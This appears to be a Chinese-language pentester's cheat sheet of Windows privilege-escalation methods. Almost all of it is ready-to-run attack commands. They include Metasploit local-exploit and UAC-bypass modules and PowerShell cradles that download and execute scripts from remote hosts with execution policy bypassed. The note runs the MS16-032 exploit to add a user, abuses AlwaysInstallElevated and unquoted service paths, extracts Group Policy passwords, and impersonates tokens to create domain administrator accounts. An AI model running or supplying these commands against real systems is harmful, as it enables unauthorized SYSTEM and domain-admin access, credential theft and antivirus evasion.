使用use post/windows/gather/enum_patches
模块快速扫描缺失的补丁,命令如下:
use post/windows/gather/enum_patches
set session 2
run
使用use post/multi/recon/local_exploit_suggester
模块找出可能被利用的漏洞
use post/multi/recon/local_exploit_suggester
set SHOWDESCRIPTION true //列出详细数据,可不加
set session 1
run
工具下载地址为:
首先更新漏洞数据库,从微软官网自动下载安全公告数据库,如下2021-11-10-mssb.xls
py -2 .\windows-exploit-suggester.py --update
pip install xlrd==1.2.0
使用systeminfo命令获取当前系统的补丁安装情况,并将信息导入patches.txt
systeminfo > patches.txt
使用该工具检查系统是否有未修复的漏洞
./windows-exploit-suggester.py -d 2021-01-15-mssb.xls -i patches.txt
下载地址:https://github.com/rasta-mouse/Sherlock
本地加载脚本失败还是那个原因
powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Sherlock.ps1'); // 远程执行
Import-Module 目录\Sherlock.ps1 本地执行
Find-AllVulns // 调用脚本后,执行搜索命令
发现漏洞:
Appears Vulnerable就是存在漏洞,注意Sherlock只是验证,并不能帮助你直接进行利用。
https://github.com/Ascotbe/Kernelhub
https://lolbas-project.github.io/#
查找了目标机器上的补丁并确定存在漏洞后,我们就可以像目标机器上传本地溢出程序,并执行。这里,我们选择的是ms16-032。
漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)
exp地址:
https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1
尝试下载到本地直接运行,失败
powershell
. .\Invoke-MS16-032.ps1
Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 2 /add'
查了一下因为安全原因,默认是不允许执行ps1脚本的
于是尝试远程执行,但是虚拟机访问不了https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1
,因为访问该网址要修改hosts文件而普通用户没权限,于是把exp上传到另一台虚拟机上地址为:http://192.168.8.12/Invoke-MS16-032.ps1
执行以下exp尝试添加用户 2 2
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.8.12/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 2 /add'
或者把地址换为本地绝对路径也能执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\Users\1\Desktop\Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 2 /add'
1.检查靶机中是否有补丁
systeminfo | findstr KB4540673
2.下载exp,exp地址:
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
Kernelhub中也有该漏洞exp,上传至目标运行即可。
windows server 可创建长久运行的可执行程序,若能获取的修改windows server配置权限, 通过把服务启动的二进制文件替换为恶意二进制文件,可以获得system权限
1、利用PowerUp.ps1脚本
地址为 https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1(需要改hosts文件才能访问)
在cmd执行以下命令加载脚本,并执行Invoke-AllChecks
模块进行测试
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Invoke-AllChecks"
2、metasploit下的实战利用
在msf中对应的模块为 sercice_permissions
。执行如下命令尝试提权
use service_permissions
set session 1
run
原因:开启了windows installer 特权安装功能
cmd输入gpedit.msc——计算机配置——管理模块——windows组件——windows installer
利用方式:
1.powerup下的Get-RegistryAlwaysInstallElevated模块检查注册表键是否被设置
如果被设置则意味MSI文件是以system权限下能运行
# 检查是否被设置
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Get-RegistryAlwaysInstallElevated"
# 运行Write-UserAddMSI模块,生成MSI文件
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('./PowerUp.ps1');Write-UserAddMSI"
# 执行MSI文件
msiexec /quiet /qn /i UserAdd.msi
2.Metasploit的exploit/windows/local/always_install_elevated模块
该模块会创建一个文件名随机的MSI文件 并在提权后删除所有已部署的文件
use always_install_elevated
set session 1
run
利用了windows文件路径解析的特性,通俗的说,如果一个服务的可执行文件的路径(带空格)没有被双引号引起来,那么这个服务就有漏洞。
例如:有一个文件路径C:\Program Files\Some Folder\Service.exe
,操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。本利中会依次尝试执行以下程序:
如果我们在C盘上传一个名为Program.exe
的恶意程序,可能就会以system权限执行该程序,从而达到提权的目的。
1、手动测试是否存在该漏洞:
wmic service get name,displayname,pathname,startmode | findstr /i “Auto” | findstr /i /v “C:\Windows\” | findstr /i /v “”"
检测是否有对目标文件夹的写权限 可以使用icacls 工具
icacls “C:\Program Files (x86)”
如果确认目标机器存在此漏洞 把我们的木马上传到目并重命名
重启服务
sc stop service_name
sc start service_name
2、msf
下载trusted_service_path
模块
sudo cd /usr/share/metasploit-framework/modules/exploits/windows/local;sudo wget https://www.exploit-db.com/download/20543;sudo mv 20543 trusted_service_path.rb
use trusted_service_path
set session 1
run
正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
set AutoRunScript migrate -f
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部署。在这个过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中一些还可能包含管理员账号和密码。
Metasploit集成了漏洞利用模块post/windows/gather/enum_unattend
PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码。注意,我们只需要在域内任何一台以域用户权限登录的机器上均可查询到。
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\Users\1\Desktop\PowerSploit-master\Exfiltration\Get-GPPPassword.ps1');Get-GPPPassword"
MSF中 post/windows/gather/credentials/gpp
模块可以获取组策略中的密码。
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。
Bypassuac提权的MSF模块
1、
use exploit/windows/local/bypassuac
#该模块将通过进程注入,利用受信任的发布者证书绕过Windows UAC。该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
2、use exploit/windows/local/bypassuac_injection
#该模块直接运行在内存的反射DLL中(内存注入),所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
3、use exploit/windows/local/bypassuac_fodhelper #该模块通过FodHelper注册表项,通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将为我们生成另一个关闭UAC的shell。虽然该模块修改了注册表,但它会在调用payload后清除该键。相比之前的模块,该模块对架构系统并无特别要求。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。
4、use exploit/windows/local/bypassuac_eventvwr
#Windows提权UAC保护绕过(通过Eventvwr注册表项)
5、use exploit/windows/local/bypassuac_comhijack
#Windows提权UAC保护绕过(COM处理程序劫持) 此模块将通过在HKCU配置单元中,创建COM处理程序注册表项来绕过Windows UAC。当加载某些高完整性进程时将会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL中包含了可提升权限的payload。在调用payload后该模块将会清除该键。该模块的使用需要选择正确的架构,但在当前低权限的Meterpreter session下架构可以不同。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。该模块需要通过目标系统上的cmd.exe来调用目标二进制文件,因此如果限制cmd.exe访问,则此模块将无法正常运行。
6、use exploit/windows/local/ask
MSF中Bypassuac模块的使用前提有两个
一是系统当前用户必须在管理员组中
二是用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我”
当用户注销后,系统会使主令牌切换为模拟令牌,不会将令牌清楚,只有重启才会清除令牌。
可以使用如下这些工具来窃取令牌
窃取AccessToken的数量:
incognito.exe程序 > InvokeTokenManipulat.ps1脚本 > MSF里的incognito模块
msf中使用方法
use incognito
# AccessToken的列举
list_tokens -u
# 模拟其他用户的令牌
impersonate_token "NT AUTHORITY\\SYSTEM"
#返回到之前的AccessToken权限
rev2self
# 域内的话可以添加域用户并添加进域管理组进行敏感操作
# 在域控主机上添加一个账户
add_user hack qwer123456! -h 192.168.13.132
# 将该账户加到域管理员组中
add_group_user "Domain Admins" hack -h 192.168.13.132
incognito.exe
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
incognito.exe list_tokens -u
incognito.exe execute -c "完整的Token名" cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
这个脚本是PowerSploit下Exfiltration文件夹内的一个脚本
列举token
Invoke-TokenManipulation -Enumerate
提权至system
Invoke-TokenManipulation -CreateProcess “cmd.exe” -username “nt authority\system”
复制进程token
Invoke-TokenManipulation -CreateProcess “cmd.exe” -ProcessId 500
复制线程token
Invoke-TokenManipulation -CreateProcess “cmd.exe” -ThreadId 500
实战遇见到的好用提权方法集合